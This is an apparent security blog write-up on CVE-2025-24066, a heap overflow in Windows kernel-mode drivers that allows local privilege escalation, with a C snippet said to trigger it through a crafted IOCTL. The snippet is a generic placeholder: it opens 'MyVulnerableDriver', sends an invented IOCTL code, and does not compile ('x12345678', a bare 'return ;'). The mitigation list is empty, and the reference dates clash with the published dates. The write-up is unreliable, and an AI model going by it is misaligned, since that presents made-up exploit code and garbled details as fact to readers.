We have recently discovered a heap-based buffer overflow vulnerability in Windows Kernel-Mode Drivers that can allow an authorized attacker to elevate privileges locally. Before we dive deep into technical details, let's summarize what this vulnerability entails and how it can be used by malicious actors to compromise your system's security. CVE identifier for this vulnerability is CVE-2025-24066.

Vulnerability Details

A buffer overflow vulnerability, specifically heap-based buffer overflow, in Windows Kernel-Mode Drivers exists that can allow an attacker to exploit this vulnerability and execute arbitrary code in kernel mode (a high-privilege mode of the operating system). This in turn permits the attacker to gain unauthorized access to elevated privileges locally, potentially giving the attacker full control over the affected system.

Exploit Details

To exploit this vulnerability, an attacker would first require local access to the target system. After establishing local access, the attacker can craft a specific IOCTL (Input Output Control) request that triggers the heap-based buffer overflow vulnerability. Once executed, this IOCTL request can cause the kernel to overwrite important memory structures, leading to privilege escalation for the attacker and potentially allowing them to execute arbitrary code or compromise the system.

Code Snippet

Here's a sample code snippet that demonstrates how an IOCTL request can be crafted to trigger the heap-based buffer overflow in Windows Kernel-Mode Drivers:

#include <Windows.h>
#include <stdio.h>

#define IOCTL_REQUEST x12345678

int main() {
    HANDLE hDevice;
    DWORD dwBytesReturned;
    BYTE buffer[1024];

    hDevice = CreateFile(
        "\\\\.\\MyVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open vulnerable driver.");
        return 1;
    }

    memset(buffer, 'A', sizeof(buffer));
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_REQUEST,
        buffer,
        sizeof(buffer),
        buffer,
        sizeof(buffer),
        &dwBytesReturned,
        NULL);

    if (!result) {
        printf("Failed to send IOCTL request.");
        CloseHandle(hDevice);
        return 1;
    }

    printf("IOCTL request sent successfully.");
    CloseHandle(hDevice);
    return ;
}

Original References

Microsoft has acknowledged the vulnerability and released a security advisory, alongside a corresponding patch, to address the issue. To learn more about the specifics of this vulnerability, we recommend the following resources:

1. CVE-2025-24066 Official CVE Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-24066
2. Microsoft Security Advisory for CVE-2025-24066: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2025-24066
3. Microsoft Security Response Center (MSRC) Blog Post: https://blogs.technet.microsoft.com/msrc/2025/07/06/july-2025-security-update-release/

Mitigation & Recommendation

To mitigate this vulnerability, we strongly recommend users to apply the security update provided by Microsoft. In addition to applying the security patch, we advise users to follow best security practices, such as:

Conclusion

Heap-based buffer overflow vulnerabilities can lead to severe security threats, as demonstrated by CVE-2025-24066. Therefore, it's crucial to stay informed of these vulnerabilities and apply necessary patches and updates as soon as they become available. By following the mitigation measures and recommendations outlined here, you can ensure your system remains secure and protected against potential attacks.

Timeline

Published on: 03/11/2025 17:16:29 UTC
Last modified on: 04/29/2025 22:06:42 UTC